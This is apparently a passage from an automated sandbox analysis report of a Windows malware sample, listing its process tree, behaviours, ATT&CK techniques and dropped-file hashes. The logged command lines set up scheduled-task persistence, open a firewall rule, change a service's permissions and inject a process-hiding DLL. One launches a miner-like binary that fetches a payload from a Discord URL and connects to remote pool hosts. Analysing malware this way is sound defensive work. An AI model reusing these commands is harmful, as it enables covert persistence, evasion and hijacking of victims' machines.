PID 3900 wrote to memory of 1324 3900 csrss.exe 112 PID 3900 wrote to memory of 1324 3900 csrss.exe 112 PID 3900 wrote to memory of 1324 3900 csrss.exe 112 PID 3900 wrote to memory of 2748 3900 csrss.exe 114 PID 3900 wrote to memory of 2748 3900 csrss.exe 114 PID 3900 wrote to memory of 2748 3900 csrss.exe 114 PID 3900 wrote to memory of 32 3900 csrss.exe 116 PID 3900 wrote to memory of 32 3900 csrss.exe 116 PID 3900 wrote to memory of 32 3900 csrss.exe 116 PID 3900 wrote to memory of 4360 3900 csrss.exe 118 PID 3900 wrote to memory of 4360 3900 csrss.exe 118 PID 3900 wrote to memory of 4360 3900 csrss.exe 118 PID 3900 wrote to memory of 3540 3900 csrss.exe 120 PID 3900 wrote to memory of 3540 3900 csrss.exe 120 PID 3900 wrote to memory of 3540 3900 csrss.exe 120 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe"C:\Users\Admin\AppData\Local\Temp\92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4760 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4248
-
-
C:\Users\Admin\AppData\Local\Temp\92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe"C:\Users\Admin\AppData\Local\Temp\92244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642.exe"2⤵
- Windows security bypass
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4832 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4792
-
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
PID:3212 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:3420
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5036
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4368
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3900 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1792
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
PID:3556
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵PID:2348
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4148
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2964
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3372
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
PID:4628
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:5020
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1128
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
- Executes dropped EXE
PID:1324
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2748
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exeC:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe4⤵
- Executes dropped EXE
PID:32
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4360
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exeC:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe4⤵
- Executes dropped EXE
PID:3540
-
-
-
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4600
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
2.0MB
MD51bf850b4d9587c1017a75a47680584c4
SHA175cd4738ffc07f203c3f3356bc946fdd0bcdbe19
SHA256ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955
SHA512ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08
-
Filesize
2.8MB
MD5713674d5e968cbe2102394be0b2bae6f
SHA190ac9bd8e61b2815feb3599494883526665cb81e
SHA256f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057
SHA512e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb
-
Filesize
1.4MB
MD5c7a5ef6e574ad12349750266dd005ab0
SHA125be08f1ff5657a902f68153ac5cb37a04e03912
SHA256b062ab8381d0e37d4da61d1cda35870f7117d529f3bc9044c9f241863921bc42
SHA512f0bc0a6c4e4642b6aad408e02f04adbc9a941d9f2113251614da80f53959ab9157e709022a4a613c81a83d6b337da9c664aa342044e5834d3c198b2709cd4790
-
Filesize
2.0MB
MD5dcb505dc2b9d8aac05f4ca0727f5eadb
SHA14f633edb62de05f3d7c241c8bc19c1e0be7ced75
SHA25661f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
SHA51231e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3
-
Filesize
281KB
MD5d98e33b66343e7c96158444127a117f6
SHA1bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA2565de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
SHA512705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize2KB
MD51c19c16e21c97ed42d5beabc93391fc5
SHA18ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA2561bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
SHA5127d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD5e432cc3e9f93efe9e720196707b302f7
SHA174005e84b03246cb7b3ef112b610668c33c94d3a
SHA25671e4c5c25a96d58d137668edc05f11e6e56990f69d6d8c57ec45507e94cecb40
SHA5123ed357009cdf47afb7ab27d0b45aa8a4b08f29ef2e921c69dbc1ddf1e7dd521c1fc2dd897c8ab5c9513a6933c6deca150277371868e45c78592a540d9f324efa
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD5c6e01b07049c8042e89ec17667a16d17
SHA1c6f6711e0ac6dc4d602096f84dfe18e004679f3a
SHA256f1ec636a4fe8dc2ca0bc725bca003b5ef384b9559987e53112ebf1b61d8863fe
SHA512b0b4fe7fcf4b54909b9eabddb86b18209fae514a655ab4913027e3cce437602c3d75cb274d5c7c8e93159ce6e4a28792a64444b83f758e60a4fe8999d8709951
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD51ca9ed04407adfcad5c0c07ac75b8840
SHA193310a7f04eb0a6a712453ac5434a36f5057e852
SHA256d7ab63c53f0f8c809c1e1947fdd9f0c6af183e3d4978981c8924456222833e5f
SHA512152cccd6f9274f31890fdbcaf8f6f2803dca820a616564679a77af4de53d3cdc1fa828525883179bfde06d671be227ba8d283ff5c2a8212e45480938baae1ae7
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD58b3dc79e0dd5996d66858f33b3dbb141
SHA1baf445aa528fac627ae7a7ca17bccbaf729315cc
SHA256ed63a78c19c63aee82bac4881143fa3921bff630f050608d948bbb1e06f00c35
SHA512b745f25ae9266c9f864766198af605a2d45a3abe9111133fc91d7ae3859e151a3602d7b88df920de5bf063b1c1023e3ac7ca5331f69233365efdb70f6ac1ea6f
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD578c3460ed0598202a4f21307e8ff6b9d
SHA1ea71ff417218c42c90eb646ae503cd4f0926e8f3
SHA256523011365bc1e2a5b0258f43df14a0500d11d6d3c9ecb780e7f049ba7b896eaa
SHA512afe2d645ea2da8aeee548a0ac11b3e5832f9c153ca3dc7a5c06130fb7da0df36edbc2c5ba364b451c4a07b30f61d2f3ffeb03e0aa54631580a6f12b05178d369
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD5424092027851f6c69d9c926d6a8b88ec
SHA181a0800cf48cca1b76a7dfabae236744da0106cc
SHA2565413987862ebcb09e588c2ea11b5e311a3c683fd097b5aa12a36a5d9471866a4
SHA512d26ea457cc1c631616caa5b4ce7b961e16682d0297375e9a2ba6f3f8b8e9c96f9b7f940ea43e03a5db8f69a27f15bf0c6c74326c30aa5f9690f89121c0e83b28
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD5e6440b764807c29067b6a3a61d461320
SHA1c7d04ff6f57a7b8d4aff3e8c53e92d6e1bb5f825
SHA25687d6a4ea3eb3afbd207653d150f18e59497409c65069e90912d506eb4a83c419
SHA5129a0bae3dc263394fcb0331920ae080e378417527f308b438eb73d79b0b73c7ee0794a457b8f17cd04a638cd7cbfb21e7182be2a4986b48133c2a8cc5aa9dd681
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD52e4252f281a9e7b99b3c409589b77f4c
SHA10971e8e9a2151ef782c42e71bde6d45cb28a5f1a
SHA256d508268c7da61c915fd7a8894dcc933e94440e80b78626796ca8c9dbabd9f998
SHA5127f23f9191144e4b82a3f60d240c636d2945fffc5b9ce64affc4b9adfbdeb1bb786881509458005425c4eff4f951b88179e93df13325ac7cf86e38902f1e18db9
-
Filesize
4.2MB
MD50a89ee182c830a447da5a308eae61c90
SHA16bad2034ebea0495bf532ce27a2701e7aff25d44
SHA25692244bff9c787c089b2f14a924534a1c17744994a84a8364890ab650cb736642
SHA5122624876446a9ba7049ed23d160087a54a5ad74185820ff609288f89d4a1cf62db72900bddebe0ff78b3511276f82e28a3d2ae96926dfe8213768d2999b235904
-
Filesize
2.0MB
MD58e67f58837092385dcf01e8a2b4f5783
SHA1012c49cfd8c5d06795a6f67ea2baf2a082cf8625
SHA256166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
SHA51240d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec